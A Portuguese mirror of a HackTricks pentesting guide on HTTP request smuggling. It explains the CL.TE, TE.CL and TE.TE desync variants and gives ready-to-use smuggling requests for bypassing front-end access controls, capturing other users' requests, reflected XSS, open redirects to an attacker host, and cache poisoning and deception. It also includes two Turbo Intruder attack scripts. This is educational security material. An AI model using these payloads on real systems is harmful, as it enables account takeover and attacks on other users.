mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
503 lines
31 KiB
Markdown
503 lines
31 KiB
Markdown
# HTTP Request Smuggling / Ataque de Desincronização HTTP
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## O que é
|
|
|
|
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceadores de carga/reverse-proxy) e como **2 requisições** pelo **servidor de back-end**.\
|
|
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end depois da dele**.
|
|
|
|
### Teoria
|
|
|
|
[**Especificação RFC (2161)**](https://tools.ietf.org/html/rfc2616)
|
|
|
|
> Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.
|
|
|
|
**Content-Length**
|
|
|
|
> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
|
|
|
|
**Transfer-Encoding: chunked**
|
|
|
|
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\
|
|
> Chunked significa que dados grandes são enviados em uma série de partes.
|
|
|
|
### Realidade
|
|
|
|
O **Front-End** (um balanceador de carga / Reverse Proxy) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-end** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
|
|
Isso pode ser muito crítico, pois **um atacante será capaz de enviar uma requisição** para o proxy reverso que será **interpretada** pelo servidor de **back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o servidor de **back-end interpretará a segunda requisição injetada** como se ela **tivesse vindo do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
|
|
|
|
### Particularidades
|
|
|
|
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
|
|
|
|
* **Content-Length**: Este cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
|
|
* **Transfer-Encoding:** Este cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
|
|
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
|
|
|
|
## Exemplos Básicos
|
|
|
|
Portanto, os ataques de request smuggling envolvem colocar tanto o cabeçalho `Content-Length` quanto o cabeçalho `Transfer-Encoding` em uma única requisição HTTP e manipular esses cabeçalhos para que os servidores de front-end e back-end processem a requisição de maneira diferente. A forma exata como isso é feito depende do comportamento dos dois servidores:
|
|
|
|
* **CL.TE**: o servidor de front-end usa o cabeçalho `Content-Length` e o servidor de back-end usa o cabeçalho `Transfer-Encoding`.
|
|
* **TE.CL**: o servidor de front-end usa o cabeçalho `Transfer-Encoding` e o servidor de back-end usa o cabeçalho `Content-Length`.
|
|
* **TE.TE**: o servidor de front-end e o servidor de back-end suportam ambos o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo, obfuscando o cabeçalho de alguma forma.
|
|
|
|
### Vulnerabilidades CL.TE
|
|
|
|
Aqui, o servidor de front-end usa o cabeçalho **`Content-Length`** e o servidor de back-end usa o cabeçalho **`Transfer-Encoding`**. Podemos realizar um ataque simples de request smuggling da seguinte maneira:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 30`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /404 HTTP/1.1`\
|
|
`Foo: x`
|
|
|
|
Observe como o `Content-Length` indica que o **corpo da requisição tem 30 bytes de comprimento** (_lembre-se de que o HTTP usa uma nova linha, portanto, 2 bytes para cada nova linha_), então o proxy reverso **enviará a requisição completa** para o back-end, e o back-end processará o cabeçalho `Transfer-Encoding`, deixando o `GET /404 HTTP/1.1` como o **início da próxima requisição** (aliás, a próxima requisição será anexada a `Foo:x<Próxima requisição começa aqui>`).
|
|
### Vulnerabilidades TE.CL
|
|
|
|
Aqui, o servidor front-end usa o cabeçalho `Transfer-Encoding` e o servidor back-end usa o cabeçalho `Content-Length`. Podemos realizar um ataque simples de solicitação HTTP smuggling da seguinte forma:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 4`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
|
|
`x=`\
|
|
`0`\
|
|
`\`
|
|
|
|
Neste caso, o **reverse-proxy** irá **enviar a solicitação inteira** para o **back-end** conforme indicado pelo **`Transfer-Encoding`**. No entanto, o **back-end** irá **processar** apenas os **`7b`** (4 bytes) conforme indicado no `Content-Length`. Portanto, a próxima solicitação será aquela que começa com `GET /404 HTTP/1.1`
|
|
|
|
_Observação: mesmo que o ataque precise terminar com um `0`, a próxima solicitação será anexada como valores extras do parâmetro **x**._\
|
|
_Também observe que o Content-Length da solicitação incorporada indicará o comprimento da próxima solicitação que será anexada ao parâmetro **x**. Se for muito pequeno, apenas alguns bytes serão anexados, e se for muito grande (maior que o comprimento da próxima solicitação), um erro será gerado para a próxima solicitação._
|
|
|
|
### Vulnerabilidades TE.TE
|
|
|
|
Aqui, os servidores front-end e back-end suportam o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo, obfuscando o cabeçalho de alguma forma.\
|
|
Existem potencialmente infinitas maneiras de obfuscar o cabeçalho `Transfer-Encoding`. Por exemplo:
|
|
|
|
`Transfer-Encoding: xchunked`\
|
|
``\ `Transfer-Encoding : chunked`\``\
|
|
`Transfer-Encoding: chunked`\
|
|
`Transfer-Encoding: x`\
|
|
``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
|
|
`Transfer-Encoding:[tab]chunked`\
|
|
``\ `[space]Transfer-Encoding: chunked`\``\
|
|
`X: X[\n]Transfer-Encoding: chunked`\
|
|
\`\`\
|
|
`Transfer-Encoding`\
|
|
`: chunked`
|
|
|
|
Dependendo do servidor (reverse-proxy ou back-end) que **para de processar** o cabeçalho **TE**, você encontrará uma vulnerabilidade **CL.TE** ou uma vulnerabilidade **TE.CL**.
|
|
|
|
## Encontrando HTTP Request Smuggling
|
|
|
|
### Encontrando vulnerabilidades CL.TE usando técnicas de temporização
|
|
|
|
Se um aplicativo for vulnerável à variante CL.TE do request smuggling, o envio de uma solicitação como a seguinte geralmente causará um atraso de tempo:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 4
|
|
|
|
1
|
|
A
|
|
0
|
|
```
|
|
Uma vez que o servidor front-end usa o cabeçalho `Content-Length`, ele encaminhará apenas parte dessa solicitação, omitindo o `0`. O servidor back-end usa o cabeçalho `Transfer-Encoding`, processa o primeiro fragmento e depois aguarda a chegada do próximo fragmento. Isso causará um atraso perceptível no tempo.
|
|
|
|
Às vezes, em vez de receber um tempo limite, você recebe uma resposta de erro 400 do host final, como no seguinte cenário, onde um payload CL.TE é enviado:
|
|
|
|
![](<../../.gitbook/assets/image (444).png>)
|
|
|
|
E a resposta é um redirecionamento contendo um erro no corpo, incluindo a versão do haproxy usada:
|
|
|
|
![](<../../.gitbook/assets/image (443).png>)
|
|
|
|
### Encontrando vulnerabilidades TE.CL usando técnicas de temporização
|
|
|
|
Se uma aplicação for vulnerável à variante TE.CL de request smuggling, enviar uma solicitação como a seguinte geralmente causará um atraso no tempo:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 6
|
|
|
|
0
|
|
X
|
|
```
|
|
Uma vez que o servidor front-end usa o cabeçalho `Transfer-Encoding`, ele encaminhará apenas parte dessa solicitação, omitindo o `X`. O servidor back-end usa o cabeçalho `Content-Length`, espera mais conteúdo no corpo da mensagem e aguarda a chegada do restante do conteúdo. Isso causará um atraso perceptível no tempo.
|
|
|
|
### Sondando vulnerabilidades de Request Smuggling HTTP
|
|
|
|
Depois de descobrir que as **técnicas de temporização estão funcionando**, você precisa **sondar** se pode **alterar as solicitações de outros clientes**.\
|
|
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, **fazendo uma solicitação para `/` retornar um erro 404, por exemplo**.\
|
|
Nos [Exemplos Básicos](./#exemplos-básicos) já vimos exemplos de `CL.TE` e `TE.CL` de como envenenar uma solicitação de um cliente para solicitar `/404`, provocando uma resposta 404 quando o cliente estava solicitando qualquer outro recurso.
|
|
|
|
**Notas**
|
|
|
|
Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de request smuggling por meio de interferência em outras solicitações:
|
|
|
|
* A solicitação "ataque" e a solicitação "normal" devem ser enviadas para o servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não comprovará que a vulnerabilidade existe.
|
|
* A solicitação "ataque" e a solicitação "normal" devem usar a mesma URL e nomes de parâmetros, na medida do possível. Isso ocorre porque muitos aplicativos modernos roteiam solicitações de front-end para diferentes servidores de back-end com base na URL e nos parâmetros. Usar a mesma URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor de back-end, o que é essencial para o ataque funcionar.
|
|
* Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação "ataque", você está em uma corrida com quaisquer outras solicitações que o aplicativo esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação "ataque". Se o aplicativo estiver ocupado, talvez seja necessário fazer várias tentativas para confirmar a vulnerabilidade.
|
|
* Em alguns aplicativos, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas de back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações "ataque" e "normal" forem encaminhadas para diferentes sistemas de back-end, o ataque falhará. Essa é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
|
|
* Se seu ataque tiver sucesso em interferir em uma solicitação subsequente, mas essa não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário do aplicativo foi afetado pelo seu ataque. Se você continuar realizando o teste, isso pode ter um efeito disruptivo em outros usuários e você deve ter cuidado.
|
|
|
|
### Forçando através de cabeçalhos hop-by-hop
|
|
|
|
Ao abusar dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding, tornando possível abusar do HTTP request smuggling**.
|
|
```
|
|
Connection: Content-Length
|
|
```
|
|
Para **mais informações sobre cabeçalhos hop-by-hop**, visite:
|
|
|
|
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
|
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Abusando do HTTP Request Smuggling
|
|
|
|
### Para contornar os controles de segurança do front-end
|
|
|
|
Às vezes, os **proxies do front-end realizarão algumas verificações de segurança**. Você pode evitá-las abusando do HTTP Request Smuggling, pois você será capaz de **contornar as proteções**. Por exemplo, neste exemplo você **não pode acessar `/admin` de fora** e o proxy do front-end está verificando isso, mas este **proxy não está verificando a solicitação incorporada**:
|
|
|
|
**CL.TE**
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\
|
|
`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\
|
|
`Connection: keep-alive`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Content-Length: 67`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /admin HTTP/1.1`\
|
|
`Host: localhost`\
|
|
`Content-Length: 10`\
|
|
\`\`\
|
|
`x=`
|
|
|
|
**TE.CL**
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\
|
|
`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 4`\
|
|
`Transfer-Encoding: chunked`\
|
|
`2b`\
|
|
`GET /admin HTTP/1.1`\
|
|
`Host: localhost`\
|
|
`a=x`\
|
|
`0`\
|
|
`\`
|
|
|
|
### Revelando a reescrita da solicitação do front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
|
|
|
Em muitas aplicações, o **servidor do front-end realiza alguma reescrita das solicitações** antes de encaminhá-las para o servidor do back-end, geralmente adicionando alguns cabeçalhos de solicitação adicionais.\
|
|
Uma coisa comum a se fazer é **adicionar à solicitação o cabeçalho** `X-Forwarded-For: <IP do cliente>` ou algum cabeçalho semelhante para que o back-end saiba o IP do cliente.\
|
|
Às vezes, se você pode **encontrar quais novos valores são anexados** à solicitação, você pode ser capaz de **contornar as proteções** e **acessar informações ocultas**/**pontos de extremidade**.
|
|
|
|
Para descobrir como o proxy está reescrevendo a solicitação, você precisa **encontrar um parâmetro POST que o back-end refletirá o valor** na resposta. Em seguida, use este parâmetro como o último e use uma exploração como esta:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 130`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
`0`\
|
|
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
|
`search=`
|
|
|
|
Neste caso, a próxima solicitação será anexada após `search=`, que também é **o parâmetro cujo valor será refletido** na resposta, portanto, ele vai **refletir os cabeçalhos da próxima solicitação**.
|
|
|
|
Observe que **apenas o comprimento indicado no cabeçalho `Content-Length` da solicitação incorporada será refletido**. Se você usar um número baixo, apenas alguns bytes serão refletidos, se você usar um número maior do que o comprimento de todos os cabeçalhos, então a solicitação incorporada lançará um erro. Portanto, você deve **começar** com um **número pequeno** e **aumentá-lo** até ver tudo o que deseja ver.\
|
|
Observe também que essa **técnica também é explorável com uma vulnerabilidade TE.CL**, mas a solicitação deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
|
|
|
Finalmente, observe que neste ataque ainda estamos nos atacando para aprender como o proxy do front-end está reescrevendo a solicitação.
|
|
|
|
### Capturando solicitações de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
|
|
|
Se você pode encontrar uma solicitação POST que vai salvar o conteúdo de um dos parâmetros, você pode anexar a seguinte solicitação como o valor desse parâmetro para armazenar a solicitação do próximo cliente:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Content-Length: 319`\
|
|
`Connection: keep-alive`\
|
|
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`POST /post/comment HTTP/1.1`\
|
|
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
|
`Content-Length: 659`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
|
\`\`\
|
|
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
|
|
|
Neste caso, o valor do **parâmetro comment** será **salvo dentro de um comentário** de uma postagem na página que está **disponível publicamente**, então um **comentário aparecerá com o conteúdo da próxima solicitação**.
|
|
|
|
_Uma limitação desta técnica é que geralmente ela só capturará dados até o delimitador de parâmetro que é aplicável para a solicitação contrabandeada. Para envios de formulários codificados em URL, isso será o caractere `&`, o que significa que o conteúdo armazenado da solicitação do usuário vítima terminará no primeiro `&`, que pode até mesmo aparecer na string de consulta._
|
|
|
|
Observe também que essa **técnica também é explorável com uma vulnerabilidade TE.CL**, mas a solicitação deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
|
### Usando HTTP request smuggling para explorar XSS refletido
|
|
|
|
Se a página da web também for **vulnerável a XSS refletido**, você pode abusar do HTTP Request Smuggling para atacar os clientes da web. A exploração de XSS refletido a partir do HTTP Request Smuggling tem algumas vantagens:
|
|
|
|
* **Não requer interação com os usuários vítimas**
|
|
* Pode ser usado para **explorar** o comportamento XSS em partes da solicitação que **não podem ser controladas facilmente em um ataque XSS refletido normal**, como os cabeçalhos da solicitação HTTP.
|
|
|
|
Se um site da web for vulnerável a XSS refletido no cabeçalho User-Agent, você pode usar essa carga útil para explorá-lo:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
|
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\
|
|
`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\
|
|
`Transfer-Encoding: chunked`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 213`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
``\ `0`\``\
|
|
`GET /post?postId=2 HTTP/1.1`\
|
|
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
|
`User-Agent: "><script>alert(1)</script>`\
|
|
`Content-Length: 10`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
\`\`\
|
|
`A=`
|
|
|
|
### Usando HTTP request smuggling para transformar um redirecionamento no site em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
|
|
|
Muitos aplicativos realizam redirecionamentos no site de uma URL para outra e colocam o nome do host do cabeçalho `Host` da solicitação no URL de redirecionamento. Um exemplo disso é o comportamento padrão dos servidores web Apache e IIS, onde uma solicitação para uma pasta sem uma barra final recebe um redirecionamento para a mesma pasta incluindo a barra final:
|
|
|
|
`GET /home HTTP/1.1`\
|
|
`Host: normal-website.com`\
|
|
\`\`\
|
|
`HTTP/1.1 301 Moved Permanently`\
|
|
`Location: https://normal-website.com/home/`
|
|
|
|
Esse comportamento geralmente é considerado inofensivo, mas pode ser explorado em um ataque de smuggling de solicitação para redirecionar outros usuários para um domínio externo. Por exemplo:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 54`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /home HTTP/1.1`\
|
|
`Host: attacker-website.com`\
|
|
`Foo: X`
|
|
|
|
A solicitação smuggled irá acionar um redirecionamento para o site do atacante, o que afetará a próxima solicitação do usuário que é processada pelo servidor back-end. Por exemplo:
|
|
|
|
`GET /home HTTP/1.1`\
|
|
`Host: attacker-website.com`\
|
|
`Foo: XGET /scripts/include.js HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
\`\`\
|
|
`HTTP/1.1 301 Moved Permanently`\
|
|
`Location: https://attacker-website.com/home/`
|
|
|
|
Aqui, a solicitação do usuário era para um arquivo JavaScript que foi importado por uma página no site. O atacante pode comprometer totalmente o usuário vítima retornando seu próprio JavaScript na resposta.
|
|
|
|
### Usando HTTP request smuggling para realizar envenenamento de cache da web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
|
|
|
Se alguma parte da **infraestrutura de front-end realizar o cache de conteúdo** (geralmente por motivos de desempenho), pode ser possível envenenar esse cache modificando a resposta do servidor.
|
|
|
|
Já vimos como modificar o valor esperado retornado pelo servidor para um 404 (nos [Exemplos Básicos](./#basic-examples)), de forma semelhante, você pode fazer o servidor retornar o conteúdo de /index.html quando a solicitação envenenada estiver pedindo por `/static/include.js`. Dessa forma, o conteúdo de `/static/include.js` será armazenado em cache com o conteúdo de `/index.html`, tornando `/static/include.js` inacessível para os clientes (DoS?).
|
|
|
|
Observe que isso é ainda mais interessante se você encontrar algum **Redirecionamento Aberto** ou algum **redirecionamento no site para redirecionamento aberto** (última seção). Porque você pode ser capaz de **alterar os valores de cache** de `/static/include.js` com os **valores de um script controlado por você** (fazendo um **XSS geral para todos os clientes** que tentam baixar a nova versão de `/static/include.js`).
|
|
|
|
Neste exemplo, será mostrado como você pode explorar um **envenenamento de cache + redirecionamento no site para redirecionamento aberto** para modificar o conteúdo do cache de `/static/include.js` para **servir código JS controlado** pelo atacante:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable.net`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 124`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /post/next?postId=3 HTTP/1.1`\
|
|
`Host: attacker.net`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Content-Length: 10`\
|
|
\`\`\
|
|
`x=1`
|
|
|
|
Observe como a solicitação incorporada está pedindo `/post/next?postId=3`. Essa solicitação será redirecionada para `/post?postId=4` e **usará o valor do cabeçalho Host** para indicar o domínio. Portanto, você pode **modificar o cabeçalho Host** para apontar para o servidor do atacante e o redirecionamento usará esse domínio (**redirecionamento no site para redirecionamento aberto**).
|
|
|
|
Em seguida, **após envenenar o socket**, você precisa enviar uma solicitação **GET** para \*\*`/static/include.js`\*\* essa solicitação será **envenenada** pela solicitação **redirecionamento no site para redirecionamento aberto** e irá **capturar o conteúdo do script controlado pelo atacante**.
|
|
|
|
Da próxima vez que alguém solicitar `/static/include.js`, o conteúdo em cache do script do atacante será servido (XSS geral).
|
|
### Usando o contrabando de solicitação HTTP para realizar a decepção do cache da web <a href="#usando-o-contrabando-de-solicitação-http-para-realizar-a-decepção-do-cache-da-web" id="usando-o-contrabando-de-solicitação-http-para-realizar-a-decepção-do-cache-da-web"></a>
|
|
|
|
> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
|
|
>
|
|
> * No **envenenamento de cache da web**, o atacante faz com que o aplicativo armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários do aplicativo.
|
|
> * Na **decepção de cache da web**, o atacante faz com que o aplicativo armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
|
|
|
|
Nesta variante, o atacante contrabandeia uma solicitação que retorna algum conteúdo sensível específico do usuário. Por exemplo:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 43`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /private/messages HTTP/1.1`\
|
|
`Foo: X`
|
|
|
|
Se o **veneno atingir um cliente que estava acessando algum conteúdo estático** como `/someimage.png` que seria **armazenado em cache**. O conteúdo de `/private/messages` da vítima será armazenado em `/someimage.png` e o atacante poderá roubá-lo.\
|
|
Observe que o **atacante não sabe qual conteúdo estático a vítima estava tentando acessar**, então provavelmente a melhor maneira de testar isso é realizar o ataque, esperar alguns segundos e **carregar todos** os conteúdos estáticos e **procurar pelos dados privados**.
|
|
|
|
### Armando o Contrabando de Solicitação HTTP com a Dessincronização da Resposta HTTP
|
|
|
|
Você encontrou alguma vulnerabilidade de Contrabando de Solicitação HTTP e não sabe como explorá-la. Experimente este outro método de exploração:
|
|
|
|
{% content-ref url="../http-response-smuggling-desync.md" %}
|
|
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Scripts do Turbo Intruder
|
|
|
|
### CL.TE
|
|
|
|
De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
resumeSSL=False,
|
|
timeout=10,
|
|
pipeline=False,
|
|
maxRetriesPerRequest=0,
|
|
engine=Engine.THREADED,
|
|
)
|
|
engine.start()
|
|
|
|
attack = '''POST / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: xxx.com
|
|
Content-Length: 35
|
|
Foo: bar
|
|
|
|
0
|
|
|
|
GET /admin7 HTTP/1.1
|
|
X-Foo: k'''
|
|
|
|
engine.queue(attack)
|
|
|
|
victim = '''GET / HTTP/1.1
|
|
Host: xxx.com
|
|
|
|
'''
|
|
for i in range(14):
|
|
engine.queue(victim)
|
|
time.sleep(0.05)
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
### TE.CL
|
|
|
|
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
resumeSSL=False,
|
|
timeout=10,
|
|
pipeline=False,
|
|
maxRetriesPerRequest=0,
|
|
engine=Engine.THREADED,
|
|
)
|
|
engine.start()
|
|
|
|
attack = '''POST / HTTP/1.1
|
|
Host: xxx.com
|
|
Content-Length: 4
|
|
Transfer-Encoding : chunked
|
|
|
|
46
|
|
POST /nothing HTTP/1.1
|
|
Host: xxx.com
|
|
Content-Length: 15
|
|
|
|
kk
|
|
0
|
|
|
|
'''
|
|
engine.queue(attack)
|
|
|
|
victim = '''GET / HTTP/1.1
|
|
Host: xxx.com
|
|
|
|
'''
|
|
for i in range(14):
|
|
engine.queue(victim)
|
|
time.sleep(0.05)
|
|
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
## Mais informações
|
|
|
|
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
|
|
|
[Imagem daqui.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
|
|
|
## Ferramentas
|
|
|
|
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
|
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
|
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
|
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
|
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de requisição.
|
|
|
|
## Referências
|
|
|
|
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
|
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
|
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
|
|
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
